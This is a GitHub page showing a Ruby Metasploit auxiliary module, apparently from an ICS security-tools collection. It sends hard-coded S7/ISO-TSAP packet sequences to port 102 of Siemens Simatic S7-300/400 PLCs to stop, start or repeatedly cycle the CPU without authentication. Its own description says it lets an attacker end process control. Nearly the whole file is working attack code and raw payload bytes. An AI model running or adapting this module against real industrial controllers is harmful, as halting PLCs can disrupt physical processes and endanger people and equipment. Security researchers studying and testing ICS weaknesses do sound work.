forked from ITI/ICS-Security-Tools
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsimatic_s7_300_command.rb
190 lines (158 loc) · 5.08 KB
/
simatic_s7_300_command.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
'Description' => %q{
The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
this modules allows an attacker to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and START, allowing an attacker to end process control by the PLC.
},
'Author' => 'Dillon Beresford',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
],
'Version' => '$Revision$',
'DisclosureDate' => 'May 09 2011'
))
register_options(
[
Opt::RPORT(102),
OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
], self.class)
end
def run_host(ip)
begin
cpu = datastore['MODE'] || ''
cycles = datastore['CYCLES'] || ''
stop_cpu_pkt =
[
"\x03\x00\x00\x16\x11\xe0\x00\x00"+
"\x00\x01\x00\xc1\x02\x01\x00\xc2"+
"\x02\x01\x02\xc0\x01\x09",
"\x03\x00\x00\x19\x02\xf0\x80\x32"+
"\x01\x00\x00\xff\xff\x00\x08\x00"+
"\x00\xf0\x00\x00\x01\x00\x01\x03"+
"\xc0",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x00\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x40\x00\x01\x84\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x21\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x02\x00\x10\x00"+
"\x00\x29\x00\x00\x00\x00\x00\x09"+
"\x50\x5f\x50\x52\x4f\x47\x52\x41"+
"\x4d",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00"
]
start_cpu_pkt =
[
"\x03\x00\x00\x16\x11\xe0\x00\x00"+
"\x00\x01\x00\xc1\x02\x01\x00\xc2"+
"\x02\x01\x02\xc0\x01\x09",
"\x03\x00\x00\x19\x02\xf0\x80\x32"+
"\x01\x00\x00\xff\xff\x00\x08\x00"+
"\x00\xf0\x00\x00\x01\x00\x01\x03"+
"\xc0",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x00\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x40\x00\x01\x84\x00\x00\x00",
"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x01\x00\x0e\x00"+
"\x00\x04\x01\x12\x0a\x10\x02\x00"+
"\x10\x00\x00\x83\x00\x00\x00",
"\x03\x00\x00\x25\x02\xf0\x80\x32"+
"\x01\x00\x00\x00\x02\x00\x14\x00"+
"\x00\x28\x00\x00\x00\x00\x00\x00"+
"\xfd\x00\x00\x09\x50\x5f\x50\x52"+
"\x4f\x47\x52\x41\x4d"
]
# CPU STOP
if(cpu == 1)
connect()
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
# CPU START
if(cpu == 2)
connect()
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
# STOP / START CPU
for n in 0..cycles
if(cpu == 3)
connect()
# We assume PLC is up and running (issue a stop command)
stop_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
connect()
# We assume PLC is has been stopped (issue a start command)
start_cpu_pkt.each do |i|
sock.put("#{i}")
sleep(0.005)
end
end
end
data = sock.get_once()
print_good("#{ip} PLC is running, iso-tsap port is open.")
if(cpu == 'true')
print_status("Putting the PLC into START mode.")
elsif(cpu == 'false')
print_status("Putting the PLC into STOP mode.")
end
disconnect()
rescue ::EOFError
end
end
end